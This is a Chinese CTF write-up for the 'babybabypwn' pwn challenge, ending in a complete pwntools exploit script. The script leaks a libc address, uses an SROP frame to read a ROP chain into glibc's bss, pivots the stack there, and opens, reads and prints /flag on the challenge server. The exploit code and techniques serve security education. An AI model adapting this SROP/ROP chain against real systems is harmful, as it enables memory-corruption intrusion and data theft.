vn_pwn_babybabypwn_1(SROP+栈迁移)

vn_pwn_babybabypwn_1

首先检查一下程序的保护机制

vn_pwn_babybabypwn_1(SROP+栈迁移)_第1张图片

然后,我们用IDA分析一下

vn_pwn_babybabypwn_1(SROP+栈迁移)_第2张图片

显然一个signreturn的系统调用,因此可以做SROP。由于开启了PIE,因此,我们不考虑程序的bss段,而是考虑glibc的bss段,因为重新一开始告诉了我们puts函数的地址,我们就可以知道glibc的地址。我们先利用read在glibc的bss段布置下rop,然后栈迁移过去即可。

#coding:utf8
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64')
#sh = process('./vn_pwn_babybabypwn_1')
sh = remote('node3.buuoj.cn',26187)
sh.recvuntil('Here is my gift: ')
puts_addr = int(sh.recvuntil('\n',drop = True),16)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
open_addr = libc_base + libc.dump('open')
read_addr = libc_base + libc.dump('read')
bss = libc_base + 0x00000000003C5720
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
rop_addr = bss + 0x600
#调用read输入rop到libc中的bss里,然后栈迁移到bss里执行rop
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = rop_addr
frame.rdx = 0x200
frame.rip = read_addr
frame.rsp = rop_addr
sh.sendafter('Please input magic message:',str(frame)[8:])
flag_addr = rop_addr + 0x78
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
#read(fd,bss,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(bss)
rop += p64(pop_rdi) + p64(bss) + p64(puts_addr)
rop += '/flag\x00'
sleep(0.5)
sh.send(rop)

sh.interactive()

 

你可能感兴趣的:(二进制漏洞,CTF,pwn)